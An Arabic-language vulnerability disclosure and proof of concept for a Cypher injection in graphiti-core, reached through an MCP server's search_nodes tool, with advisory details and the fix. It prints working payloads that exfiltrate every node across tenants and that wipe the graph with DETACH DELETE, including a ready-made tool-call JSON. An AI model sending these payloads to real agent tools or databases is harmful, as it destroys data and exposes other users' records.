
إثبات مفهوم لـ CVE-2026-32247، وهو حقن Cypher في graphiti-core عبر node_labels غير المعقّمة، يُظهر استخراج البيانات وحذف الرسم البياني من خلال MCP search_nodes.
الخطورة: عالية (CVSS 8.1)
CWE: CWE-943 — التحييد غير السليم للعناصر الخاصة في منطق استعلام البيانات
المتأثر: graphiti-core <= 0.28.1 (pip)
تم إصلاحه في: 0.28.2
التنبيه الأمني: GHSA-gg5m-55jj-8m5g
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
الفضل: Romain Deperne
يبني graphiti-core عبارات WHERE في Cypher عبر ربط سلاسل تسميات العُقد (node labels) التي يوفّرها المستخدم باستخدام | ودمجها في استعلام خام. يمكن للمهاجم حقن عوامل تشغيل Cypher عشوائية، أو تسريب البيانات من أي عقدة في الرسم البياني عبر جميع المستأجرين، أو حذف الرسم البياني بالكامل — دون أي معاملات (parameterization) أو تحقق في أي مكان في السلسلة.
فحصتُ بناء الاستعلام عند الحد الفاصل بين أداة MCP وقاعدة بيانات الرسم البياني. في search_filters.py، كان 'n:' + node_labels يدمج القيم القادمة من معامل الأداة entity_types مباشرةً في استعلام Cypher.
ما جعل هذا مثيرًا للاهتمام بما يتجاوز الحقن القياسي: تتيح عبارة WITH في Cypher الخروج من سياق WHERE وبدء خط أنابيب جديد بالكامل. لذا يُغلق ) تعبير التسمية المحاط بأقواس، وينتقل WITH n إلى عبارة جديدة، ويُسقط // بصمت بقية الاستعلام الأصلي. حمولة واحدة، وصول كامل إلى الرسم البياني.
أعدتُ أولًا إنتاج بناء الاستعلام في سكربت مستقل، ثم تحققتُ من الحالة التدميرية مقابل قاعدة بيانات رسم بياني قبل الإبلاغ عنها.
الملف: graphiti_core/search/search_filters.py، الأسطر 91–92 و134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
نقطة الدخول: mcp_server/src/graphiti_mcp_server.py، السطر 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
تُمرَّر معلمة entity_types من استدعاء أداة search_nodes في MCP مباشرةً إلى مُنشئ الاستعلام. يتأثر كل من خلفيتي Neo4j وFalkorDB. أما خلفية Kuzu فلا تتأثر لأنها تستخدم استعلامات ذات معلمات.
تُضمَّن قيمة node_label_filter (n:Label1|Label2) في استعلام Cypher على النحو التالي:
WHERE (n:Label1|Label2) AND ...
نظرًا لأن التسميات تُدمج بواسطة | وتُحاط بأقواس من قِبل المستدعي، فإن المهاجم يحتاج فقط إلى إغلاق التعبير بـ ) وحقن جمل Cypher جديدة. يقوم معامل التعليق // بكتم بقية الاستعلام الأصلي.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
عبر استدعاء أداة MCP:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_idDETACH DELETE يمحو الرسم البياني بالكاملgroup_id بعد مرشّح التسمية القابل للحقن — وحقن جملة WITH يتجاوزه بالكامليتحقق الإصدار المُرقَّع من تسميات العقد مقابل قائمة سماح بالأحرف الأبجدية الرقمية قبل الإدراج، ويستخدم مسار البحث النصي الكامل استعلامات مُعامَلة لقيم group_id.